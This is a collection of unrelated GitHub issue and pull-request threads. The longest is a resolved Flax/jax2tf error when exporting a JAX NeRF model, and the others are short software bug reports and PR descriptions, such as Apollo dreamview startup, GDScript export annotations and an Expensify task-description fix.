flax.errors.ScopeParamNotFoundError: No parameter named "kernel" exists in "/MLP_0/Dense_0" when attempting to use Jax2TF with a pre-trained JAX NeRF Model

Redirected from the JAX repo  (https://github.com/google/jax/issues/9139#issue-1096888310)
Tensorflow vers: 2.7; JAX vers: 0.2.24; jaxlib vers: 0.1.72+cuda111; FLAX vers: 0.3.6
The following code is based on the MNIST FLAX jax2tf example, which I adapted for JAX NeRF:
import collections
from os import path
from absl import app
from absl import flags
from flax.training import checkpoints
from jax import random
from jax.experimental.jax2tf.examples import saved_model_lib
from nerf import models
from nerf import utils
import tensorflow as tf

FLAGS = flags.FLAGS

utils.define_flags()

def main(unused_argv):
    rng = random.PRNGKey(20200823)
    rng, key = random.split(rng)
    utils.update_flags(FLAGS)
    utils.check_flags(FLAGS)
    model, state = models.get_model_state(key, FLAGS, restore=False)
    print('Loading model')
    state = checkpoints.restore_checkpoint(FLAGS.train_dir, state)
    params = state.optimizer.target
    predict_fn = lambda params, input: model.apply({"params": params}, input)
    Rays = collections.namedtuple("Rays", ("origins", "directions", "viewdirs"))
    input_signatures = [Rays(origins=tf.TensorSpec((3,),tf.float32),directions=tf.TensorSpec((3,),tf.float32),viewdirs=tf.TensorSpec((3,),tf.float32))]
    saved_model_lib.convert_and_save_model(
        predict_fn,
        params,
        '/any/path/',
        input_signatures=input_signatures)

if __name__ == "__main__":
    app.run(main)

In order to simplify the inputs to the network, and since I am only interested in running inference in TF, I initialize the RNG keys and randomized NeRF model inputs to None and False respectively, so that only the rays are inputted. This is the only change over the original JAX NeRF code:
def __call__(self, rays, rng_0 = None, rng_1=None, randomized=False, depth_gt = None, rgb_only = False,depth_sampling = False):
        """Nerf Model.

        Args:
          rng_0: jnp.ndarray, random number generator for coarse model sampling.
          rng_1: jnp.ndarray, random number generator for fine model sampling.
          rays: util.Rays, a namedtuple of ray origins, directions, and viewdirs.
          randomized: bool, use randomized stratified sampling.
          rgb_only: bool, return only rgb

        Returns:
          ret: list, [(rgb_coarse, disp_coarse, acc_coarse), (rgb, disp, acc)]
        """
        # Stratified sampling along rays
        if (randomized):
            key, rng_0 = random.split(rng_0)
        else:
            key = None

(also, every call to model.apply()  has its args order inverted to match this)
The error is prompted when attempting to compute the TF graph in this line of 'saved_model_lib.py':
tf_graph = tf.function(lambda inputs: tf_fn(param_vars, inputs),
                         autograph=False,
                         experimental_compile=compile_model)

Full error stack:
Traceback (most recent call last):
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/runpy.py", line 194, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/runpy.py", line 87, in _run_code
    exec(code, run_globals)
  File "/home/jorge/jaxnerf/nerf/save_jax_as_tf.py", line 45, in <module>
    app.run(main)
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/absl/app.py", line 312, in run
    _run_main(main, args)
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/absl/app.py", line 258, in _run_main
    sys.exit(main(argv))
  File "/home/jorge/jaxnerf/nerf/save_jax_as_tf.py", line 38, in main
    saved_model_lib.convert_and_save_model(
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/jax/experimental/jax2tf/examples/saved_model_lib.py", line 114, in convert_and_save_model
    tf_graph.get_concrete_function(input_signatures[0])
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/tensorflow/python/eager/def_function.py", line 1259, in get_concrete_function
    concrete = self._get_concrete_function_garbage_collected(*args, **kwargs)
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/tensorflow/python/eager/def_function.py", line 1239, in _get_concrete_function_garbage_collected
    self._initialize(args, kwargs, add_initializers_to=initializers)
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/tensorflow/python/eager/def_function.py", line 780, in _initialize
    self._stateful_fn._get_concrete_function_internal_garbage_collected(  # pylint: disable=protected-access
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/tensorflow/python/eager/function.py", line 3157, in _get_concrete_function_internal_garbage_collected
    graph_function, _ = self._maybe_define_function(args, kwargs)
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/tensorflow/python/eager/function.py", line 3557, in _maybe_define_function
    graph_function = self._create_graph_function(args, kwargs)
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/tensorflow/python/eager/function.py", line 3392, in _create_graph_function
    func_graph_module.func_graph_from_py_func(
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/tensorflow/python/framework/func_graph.py", line 1143, in func_graph_from_py_func
    func_outputs = python_func(*func_args, **func_kwargs)
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/tensorflow/python/eager/def_function.py", line 672, in wrapped_fn
    out = weak_wrapped_fn().__wrapped__(*args, **kwds)
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/jax/experimental/jax2tf/examples/saved_model_lib.py", line 107, in <lambda>
    tf_graph = tf.function(lambda inputs: tf_fn(param_vars, inputs),
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/jax/experimental/jax2tf/jax2tf.py", line 418, in converted_fun
    out_with_avals = _interpret_fun(flat_fun, args_flat, args_avals_flat,
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/jax/experimental/jax2tf/jax2tf.py", line 486, in _interpret_fun
    fun.call_wrapped(*in_vals)
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/jax/linear_util.py", line 166, in call_wrapped
    ans = self.f(*args, **dict(self.params, **kwargs))
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/jax/experimental/jax2tf/jax2tf.py", line 272, in fun_no_kwargs
    return fun(*args, **kwargs)
  File "/home/jorge/jaxnerf/nerf/save_jax_as_tf.py", line 35, in <lambda>
    predict_fn = lambda params, input: model.apply({"params": params}, input)
  File "/home/jorge/jaxnerf/nerf/nerf/models.py", line 268, in __call__
    raw_rgb, raw_sigma = self.MLP_0(samples_enc)
  File "/home/jorge/jaxnerf/nerf_sh/nerf/model_utils.py", line 70, in __call__
    x = dense_layer(self.net_width)(x)
  File "/home/jorge/anaconda3/envs/jaxnerf/lib/python3.8/site-packages/flax/linen/linear.py", line 171, in __call__
    kernel = self.param('kernel',
flax.errors.ScopeParamNotFoundError: No parameter named "kernel" exists in "/MLP_0/Dense_0". (https://flax.readthedocs.io/en/latest/flax.errors.html#flax.errors.ScopeParamNotFoundError)

Has anyone else attempted to save a JAX NeRF model using jax2tf and encountered any such issue?

This looks like the error that happens when the top-level "packaging" of the params pytree is off slightly - e.g. passing in the bare params tree or {'params': {'params': params} rather than {'params': params}...  (I say this as we're getting an error here at what looks like the very first parameter lookup into the pytree.)
Can you add these imports
import jax
from jax import numpy as jnp

and before the final call to saved_model_lib.convert_and_save_model can you add a line:
print(jax.tree_map(jnp.shape, params)

so we can check the pytree structure of what you're passing in?
I tried setting up a repro quickly, but I'm seeing nerf.models.get_model_state which is a function that doesn't exist in JAX Nerf at https://github.com/google-research/google-research/blob/master/jaxnerf/nerf/models.py  -- what code are you actually using here?  More info needed for me to look into this.

Hi, @levskaya, thanks for your prompt response! I did as you said and this is what I am getting:
FrozenDict({
    params: {
        MLP_0: {
            Dense_0: {
                bias: (256,),
                kernel: (63, 256),
            },
            Dense_1: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_2: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_3: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_4: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_5: {
                bias: (256,),
                kernel: (319, 256),
            },
            Dense_6: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_7: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_8: {
                bias: (1,),
                kernel: (256, 1),
            },
            Dense_9: {
                bias: (3,),
                kernel: (256, 3),
            },
        },
        MLP_1: {
            Dense_0: {
                bias: (256,),
                kernel: (63, 256),
            },
            Dense_1: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_2: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_3: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_4: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_5: {
                bias: (256,),
                kernel: (319, 256),
            },
            Dense_6: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_7: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_8: {
                bias: (1,),
                kernel: (256, 1),
            },
            Dense_9: {
                bias: (3,),
                kernel: (256, 3),
            },
        },
    },
})

Also, as you pointed out nerf.models.get_model_state is not an existing function in JAX NeRF; it's just a small helper, sorry I didn't include it in the first place. It's this function:
def get_model_state(key, args, restore=True):
    """
    Helper for loading model with get_model & creating optimizer &
    optionally restoring checkpoint to reduce boilerplate
    """
    model, variables = get_model(key, args)
    optimizer = flax.optim.Adam(args.lr_init).create(variables)
    state = utils.TrainState(optimizer=optimizer)
    if restore:
        from flax.training import checkpoints
        state = checkpoints.restore_checkpoint(args.train_dir, state)
    return model, state

You should be able to reproduce with this. I am using a slightly different code to JAX NeRF but I was able to reproduce with this and their code.
Just in case it helps, I will add some more info about my setup:
Ubuntu 20.04 on WSL2
RTX 3080 (CUDA 11.2 CUDDN 8.1.1 NVIDIA driver 510.06)
Tensorflow 2.7
Jaxlib 0.1.74+cuda11.cudnn805 (upgraded a few hours ago but same result)
Jax 0.2.26
Flax 0.3.6

And what about utils.check_flags(FLAGS) (also doesn't exist in original repo)  and utils.update_flags(FLAGS)?  I have no idea what config you're actually running here?  Is there a link to your code and whatever FLAGS are actually being used?

If get_model(key, args) is jaxnerf.nerf.models.get_model it doesn't have the right signature.
Did you define this helper as well?  How are you specifying the example_batch that jaxnerf.nerf.models.get_model needs, which is ultimately calling jaxnerf.nerf.models.construct_nerf(key, example_batch, args) --> model, init_variables

Sorry, one more question - what do you mean you "initialize the RNG keys" to None??  you can't just set things like key rng_0 and rng_1 to None in the original JAX Nerf code... those are JAX deterministic PRNG keys that have to be provided.
If you have something running at all you must have heavily altered the original __call__ function - I really need to see your code to have any idea about what's going on here.  Please just dump all your changes somewhere so I can see what's actually being run.
A quick guess is that you accidentally changed the nested module structure which is causing a mismatch between the provided parameters and the model structure.

Hi, a few things regarding your comments:

For reproducibility, I used the lego config from the jaxnerf code. This is what utlis.update_flags(FLAGS)  loads. This gets me the following params map:

FrozenDict({
    params: {
        MLP_0: {
            Dense_0: {
                bias: (256,),
                kernel: (63, 256),
            },
            Dense_1: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_10: {
                bias: (128,),
                kernel: (283, 128),
            },
            Dense_11: {
                bias: (3,),
                kernel: (128, 3),
            },
            Dense_2: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_3: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_4: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_5: {
                bias: (256,),
                kernel: (319, 256),
            },
            Dense_6: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_7: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_8: {
                bias: (1,),
                kernel: (256, 1),
            },
            Dense_9: {
                bias: (256,),
                kernel: (256, 256),
            },
        },
        MLP_1: {
            Dense_0: {
                bias: (256,),
                kernel: (63, 256),
            },
            Dense_1: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_10: {
                bias: (128,),
                kernel: (283, 128),
            },
            Dense_11: {
                bias: (3,),
                kernel: (128, 3),
            },
            Dense_2: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_3: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_4: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_5: {
                bias: (256,),
                kernel: (319, 256),
            },
            Dense_6: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_7: {
                bias: (256,),
                kernel: (256, 256),
            },
            Dense_8: {
                bias: (1,),
                kernel: (256, 1),
            },
            Dense_9: {
                bias: (256,),
                kernel: (256, 256),
            },
        },
    },
})

utils.check_flags(FLAGS) does indeed not exist in the original jaxnerf, sorry about that. It's just a helper to check whether the user has set training and data dirs. Can be removed without issue; this code also reproduces the error:

import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
os.environ["CUDA_VISIBLE_DEVICES"] = "0"
os.environ["XLA_PYTHON_CLIENT_PREALLOCATE"] = "false"

import collections
from os import path

from absl import app
from absl import flags
import jax
from jax import numpy as jnp
from jax import random
from jax.experimental.jax2tf.examples import saved_model_lib

from nerf_sh.nerf import models
from nerf_sh.nerf import utils
import tensorflow as tf

FLAGS = flags.FLAGS

utils.define_flags()

def main(unused_argv):
    rng = random.PRNGKey(20200823)
    rng, key = random.split(rng)

    utils.update_flags(FLAGS)
    model, state = models.get_model_state(key, FLAGS, restore=True)
    params = state.optimizer.target
    predict_fn = lambda params, input: model.apply({"params": params}, input)
    Rays = collections.namedtuple("Rays", ("origins", "directions", "viewdirs"))
    input_signatures = [Rays(origins=tf.TensorSpec((3,),tf.float32),directions=tf.TensorSpec((3,),tf.float32),viewdirs=tf.TensorSpec((3,),tf.float32))]
    print(jax.tree_map(jnp.shape, params))
    saved_model_lib.convert_and_save_model(
        predict_fn,
        params,
        '/some/path',
        input_signatures=input_signatures)

if __name__ == "__main__":
    app.run(main)

get_model(key,args) is slightly changed from JAX NeRF, as I didn't need the dataset peeking func.  However if you call the function as model, variables = models.get_model(key, dataset.peek(), FLAGS) you should be able to reproduce as well.  In any case, this is the function I am using:

def get_model(key, args):
    """A helper function that wraps around a 'model zoo'."""
    model_dict = {
        "nerf": construct_nerf,
    }
    return model_dict[args.model](key, args)

The JAX deterministic PRNG keys can be initialized to None as long as you use the model for test inference: these keys are only used in the randomized stratified sampling scheme which is only performed during training; for test rendering, sampling becomes stochastic. Thus, we can alter the order of the __call__ parameters and input a single tuple of raydirs, origins and viewdirs. The new call function looks like this:

def __call__(self, rays, rng_0 = None, rng_1=None, randomized=False):
        """Nerf Model.

        Args:
          rng_0: jnp.ndarray, random number generator for coarse model sampling.
          rng_1: jnp.ndarray, random number generator for fine model sampling.
          rays: util.Rays, a namedtuple of ray origins, directions, and viewdirs.
          randomized: bool, use randomized stratified sampling.

        Returns:
          ret: list, [(rgb_coarse, disp_coarse, acc_coarse), (rgb, disp, acc)]
        """
        # Stratified sampling along rays
        if (randomized):
            key, rng_0 = random.split(rng_0)
        else:
            key = None
        z_vals, samples = model_utils.sample_along_rays(
            key,
            rays.origins,
            rays.directions,
            self.num_coarse_samples,
            self.near,
            self.far,
            randomized,
            self.lindisp
        )

        samples_enc = model_utils.posenc(
            samples,
            self.min_deg_point,
            self.max_deg_point,
            self.legacy_posenc_order,
        )

        # Point attribute predictions
        if self.use_viewdirs:
            viewdirs_enc = model_utils.posenc(
                rays.viewdirs,
                0,
                self.deg_view,
                self.legacy_posenc_order,
            )
            raw_rgb, raw_sigma = self.MLP_0(samples_enc, viewdirs_enc)
        else:
            raw_rgb, raw_sigma = self.MLP_0(samples_enc)
        # Add noises to regularize the density predictions if needed
        key, rng_0 = random.split(rng_0)
        raw_sigma = model_utils.add_gaussian_noise(
            key,
            raw_sigma,
            self.noise_std,
            randomized,
        )

        rgb = self.rgb_activation(raw_rgb)
        sigma = self.sigma_activation(raw_sigma)

        comp_rgb, disp, acc, weights,depth = model_utils.volumetric_rendering(
            rgb,
            sigma,
            z_vals,
            rays.directions,
            white_bkgd=self.white_bkgd,
        )
        ret = [
            (comp_rgb, disp, acc,depth),
        ]
        # Hierarchical sampling based on coarse predictions
        if self.num_fine_samples > 0:
            z_vals_mid = 0.5 * (z_vals[Ellipsis, 1:] + z_vals[Ellipsis, :-1])
            if (randomized): key, rng_1 = random.split(rng_1)
            z_vals, samples = model_utils.sample_pdf(
                key,
                z_vals_mid,
                weights[Ellipsis, 1:-1],
                rays.origins,
                rays.directions,
                z_vals,
                self.num_fine_samples,
                randomized,
            )
            samples_enc = model_utils.posenc(
                samples,
                self.min_deg_point,
                self.max_deg_point,
                self.legacy_posenc_order,
            )

            if self.use_viewdirs:
                raw_rgb, raw_sigma = self.MLP_1(samples_enc, viewdirs_enc)
            else:
                raw_rgb, raw_sigma = self.MLP_1(samples_enc)
            if (randomized): key, rng_1 = random.split(rng_1)
            raw_sigma = model_utils.add_gaussian_noise(
                key,
                raw_sigma,
                self.noise_std,
                randomized,
            )

            rgb = self.rgb_activation(raw_rgb)
            sigma = self.sigma_activation(raw_sigma)

            comp_rgb, disp, acc, unused_weights, depth = model_utils.volumetric_rendering(
                rgb,
                sigma,
                z_vals,
                rays.directions,
                white_bkgd=self.white_bkgd,
            )
            ret.append((comp_rgb, disp, acc,depth))
        return ret

Then the only change you need to make is in the args order of the model.apply() calls. In train.py, function loss_fn() you replace ret = model.apply(variables, key_0, key_1, rays, FLAGS.randomized) with ret = model.apply(variables, rays, key_0, key_1, FLAGS.randomized). You do the same in train.py, render_fn()
That should be it. Lemme know if I missed something!

@Arcanous98 - thanks for providing the extra info!
Actually I just noticed something from my first request that I should have noticed immediately:
if the output of the inserted printout:
input_signatures = [Rays(origin....
print(jax.tree_map(jnp.shape, params)
saved_model_lib.convert_and_save_model(...

has this structure:
FrozenDict({
    params: {
        MLP_0: { ... }
        ...
    }
})

The params object shouldn't itself have an extra params: layer inside it, since in your predict_fn function you write:
predict_fn = lambda params, input: model.apply({"params": params}, input)

which is adding an extra nesting layer under another "params" key, which would lead to precisely the error that you're seeing.
In Flax the apply function takes a variable (frozen-) dictionary structured at the top-level like
{
 "params": nested_param_dict,
 "some_stateful_collection": some_stateful_collection_dict,
 "some_other_stateful_collection": some_other_stateful_collection_dict
...
}

where each of those nested_dicts share the same module-defined nesting structure.
If you try to remove the extra {"params": ...} nesting, does your code run correctly?

It does! Thanks for the help @levskaya. I'm closing the issue now 👍

Great!  Happy to Help!  Happy NeRFing. ;)


Fix failed tests on Windows

When tests are run on Windows OS, some of them fail

@ostridm you don't need to move them manually, Once the commit is merged into master, the issue will be closed automatically.


bootstrap.sh does not start dreamview (crash?)

Hi,
I am able to install, build, run apollo. However, dreamview is not started when I use bootstrap.sh (or crashes instantly). However, I have no issue when I use start_gdb to start dreamview manually.
I used to have the PCL library issue, so I recompiled the library. Since then I don't have any issue running dreamview with gdb.
Here's roughly what I do:
$ # dev_start.sh, dev_into.sh
$ # compile and replace PCL
$ ./apollo.sh clean
    [...]
./apollo.sh build_no_perception dbg
    [...]
    ============================
    [ OK ] Build passed!
    [INFO] Took 779 seconds
    ============================
$ ps
      PID TTY          TIME CMD
       50 pts/10   00:00:00 bash
    18084 pts/10   00:00:00 ps
$ ./scripts/bootstrap.sh
    Started supervisord with dev conf
    Start roscore...
    voice_detector: started
    Dreamview is running at http://localhost:8888
$ ps
      PID TTY          TIME CMD
       50 pts/10   00:00:00 bash
    18103 pts/10   00:00:00 roscore
    18116 pts/10   00:00:00 python
    18180 pts/10   00:00:00 ps
--> firefox give me a page not found for http://localhost:8888
$ source scripts/apollo_base.sh; start_gdb dreamview
--> dreamview runs without issue
--> I can open http://localhost:8888 and run the rosbag demo

Note that it also works when I start the dreamview with ./scripts/dreamview.sh without gdb.
Isn't the dreamview supposed to be started with bootstrap.sh? or is there anything I don't do properly?
Regards

Dreamview can be started by either ./scripts/bootstrap.sh or ./scripts/dreamview.sh. I recommend taking a peek at dreamview logs under /apollo/data/log/dreamview* to see what happened. You can also do a ./scripts/dreamview.sh start_fe to see how it crashed.

Closing this issue as it appears to be resolved. @vingtfranc if you have any additional questions, feel free to reopen this issue. Thanks!


lib TabContainer and TabContainerItem don't have style file

babel-plugin-component import single fail

okay, my mistake.

Pls update to 0.1.7


⚠ Samsung has degraded performance

In eb09660, Samsung (https://samsung.com) experienced degraded performance:

HTTP code: 200
Response time: 2521 ms

Resolved: Samsung performance has improved in 3845c0d.


Incorporate annotations in elaborator's wrap

The RedPRL error reporting facility allows the code throwing the error to specify a position, but such positions would be ignored everywhere, as far as I can tell.
This PR makes the elaborator's wrap function check to see whether the thrown exception contains a position. If so, it uses it; otherwise, it falls back on the position passed in as an argument.
This is useful, for example, when wrapping a function that traverses a term. If an error occurs during the traversal, we may have more precise position information than "somewhere in the tree".

This looks like the right thing—let's merge it in and see what happens.


feat: update the commit function to work with transactions

Previously the commit function did not use the new transactions feature.  This meant that a commit running concurrently with another operation could lead to bad behavior.  The commit operation was also limited mostly to overwrites.
Now commits can apply any kind of transaction operation.

Still a work in progress, only overwrite is exposed at the moment and I need to add more tests but this passes the existing tests and should give a sense of the overall idea.


Add the possibility to introduce latency to the mock broker

@Shopify/kafka

Is this going to be used to write time-dependent tests ಠ_ಠ

No, to test timeout values instead.

LGTM


Improve performance of getPartyById to be O(1)

The puzzle 1-2323ec8b from #1 has to be resolved:
https://github.com/codeforthailand/election-live/blob/2673e914d23a199f89449a155189668e1db9ee88/src/data/information.js#L52-L53
The puzzle was created by Thai on Cloud9 on 17-Mar-19.
If you have any technical questions, don't ask me, submit new tickets instead. The task will be "done" when the problem is fixed and the text of the puzzle is removed from the source code. Here is more about PDD and about me.

The puzzle 1-2323ec8b has disappeared from the source code, that's why I closed this issue.


Update pre-commit hooks

Bump all hooks to the latest versions using pre-commit autoupdate command. As a result, unsuccessful pre-commit jobs in GitLab CI caused by the outdated isort version are resolved.
Closes #45

Haven't tested it out on existing projects. I recently started using the cookiecutter for python projects and came across failed CI jobs due to either the broken flake8 hook or the outdated isort version so I updated the hooks and that fixed the issues.
However, I did a quick test locally with .py, .R and .ipynb file, it was working as expected.


Got multiple file pickers to work well together on one page

Multiple and single file pickers can now be put onto the same page together and they won't interfere with each other.
The functionality relating to changing the content of the DIV '.jsFileCount' hasn't been changed, as it's non-existent in the codebase and its purpose is not clear.

Thank you for the contribution! :smile:

@joestrong The multiple file uploads isn’t working anymore. When I click the red x , it removes multiple files from DOM (and the correct one from db)

A simple console.log in $('.jsThumbnailImageWrapper').on('click', '.jsRemoveLink' doesn't even get triggered...
Not sure what's happening.

Ah, I see, it was triggering from the single media upload.
To fix it, I changed the remove class on the single media upload view.


doesnt work under prism app

robust controls build using modern reactive MVVM code....
are u kidding? it doesnt work under prismlibrary project, reactiveui is yesterday, c'mon
view is view, viewmodel is viewmodel, why do u mess things up, viewmodel in view code behaind and so, whats that?

Prism is not supported.

please, WRITE THIS INFO ON MAIN PAGE. have spent time before understood, that ur control are useless

@alexgubanow Please communicate without insulting other developers and feel free to create and maintain your own node network gui library.


GDScript: Add array support to @export_enum annotation

Closes #60516.

about this closing #60516, there's still the wider issue of @export_* annoations in general having no support for arrays.
for instance, an user may want to export arrays of file paths, bit flags, or ranges just as well.
@export_multiline is currently the sole annotation that already supports arrays, as this is valid: @export_multiline var my_multiline: Array[String].
although if it makes more sense for #60516 to pertain to @export_enum exclusively, I'll change back its title to the original. 🙂
for reference, here's a snippet that can be used to quickly test the array support of all @export_* annoations:
@export_dir var my_dir: Array[String]
@export_file var my_file: Array[String]
@export_global_dir var my_global_dir: Array[String]
@export_global_file var my_global_file: Array[String]
@export_enum("A", "B", "C") var my_enum_str: Array[String]
@export_enum("A", "B", "C") var my_enum_int: Array[int]
@export_flags("A", "B", "C") var my_bit_flag: Array[int]
@export_flags_2d_navigation var my_bit_flag_2d_nav: Array[int]
@export_flags_2d_physics var my_bit_flag_2d_phys: Array[int]
@export_flags_2d_render var my_bit_flag_2d_render: Array[int]
@export_flags_3d_navigation var my_bit_flag_3d_nav: Array[int]
@export_flags_3d_physics var my_bit_flag_3d_phys: Array[int]
@export_flags_3d_render var my_bit_flag_3d_render: Array[int]
@export_multiline var my_multiline: Array[String]
@export_placeholder("Placeholder") var my_placeholder: Array[String]
@export_range(1, 10) var my_range_int: Array[int]
@export_range(1.0, 10.0) var my_range_float: Array[float]
@export_exp_easing var my_exp_easing: Array[float]
@export_node_path var my_node_path: Array[NodePath]
@export_color_no_alpha var my_color: Array[Color]

See #72912. I'm not sure if we should support all valid combinations of export flags.

ah, cool.
although if I understand correctly, @export_custom doesn't add functionality that isn't already achievable with _get_property_list(), no? seems more of an alternative syntax to _get_property_list(), while still not fully replacing it as you cannot add custom logic.
so if I wanted to, say, have an array of PROPERTY_HINT_COLOR_NO_ALPHA appear in the inspector, @export_custom would not help with that.
but I understand that only the missing array support for @export_enum is actually a regression, so #60516 should probably stick to that scope.

Yes, @export_custom is an "alternative syntax" of _get_property_list(), just like any export annotation. The difference is that this only takes one line and does not require @tool.
You could use @export_custom for this, it's just less convenient (I didn't check if it works):
@export_custom(PROPERTY_HINT_TYPE_STRING | PROPERTY_HINT_COLOR_NO_ALPHA, "%d:" % TYPE_COLOR)
var array: Array[Color]

But I think other export annotations should also support arrays, thanks for pointing that out. I'll try to expand this PR later or open a separate one (I think it won't require a lot of code). But keep in mind that this will not be included in 4.0 anyway.

Superseded by #82952.


Sublinear speed-up with dataparallel

With default arguments apart from cardinality (set to 16), I get:
On 1 1080 ti with minibatch size 20: ~9 minutes per epoch.
Using dataparallel across 4 1080 ti's with minibatch size 128: ~4.5 minutes per epoch.
Perfect linear scaling would give you 2.25 minutes per epoch.
Any idea what's going on here/how to get better scaling?

Hi!
Have you tried with a vanilla resnet? to check whether the problem is in the model or the dataloader?
Pau


disabling submitOnEnter(task-desc) for mobile browsers

Details
mWeb Android - Not able to create multiline description
Fixed Issues
$ https://github.com/Expensify/App/issues/22284
PROPOSAL: https://github.com/Expensify/App/issues/22284#issuecomment-1623047385
Tests

go to FAB > assign task > enter title
now enter some description and press enter
do the above in all platform and confirm that
in mweb, msafari, android, ios => we are able to enter multiline description
in web/desktop => submits the form
in web/desktop => able to add multiline description using shft+enter

[x] Verify that no errors appear in the JS console

Offline tests
NA
QA Steps

go to FAB > assign task > enter title
now enter some description and press enter
do the above in all platform and confirm that
in mweb, msafari, android, ios => we are able to enter multiline description
in web/desktop => submits the form
in web/desktop => able to add multiline description using shft+enter

[x] Verify that no errors appear in the JS console

PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android / native
[x] Android / Chrome
[x] iOS / native
[x] iOS / Safari
[x] MacOS / Chrome / Safari
[x] MacOS / Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is approved by marketing by adding the Waiting for Copy label for a copy review on the original GH to get the correct copy.
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If a new component is created I verified that:

[x] A similar component doesn't exist in the codebase
[x] All props are defined accurately and each prop has a /** comment above it */
[x] The file is named correctly
[x] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[x] The only data being stored in the state is data necessary for rendering and nothing else
[x] If we are not using the full Onyx data that we loaded, I've added the proper selector in order to ensure the component only re-renders when the data it is using changes
[x] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[x] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[x] All JSX used for rendering exists in the render method
[x] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(themeColors.componentBG))

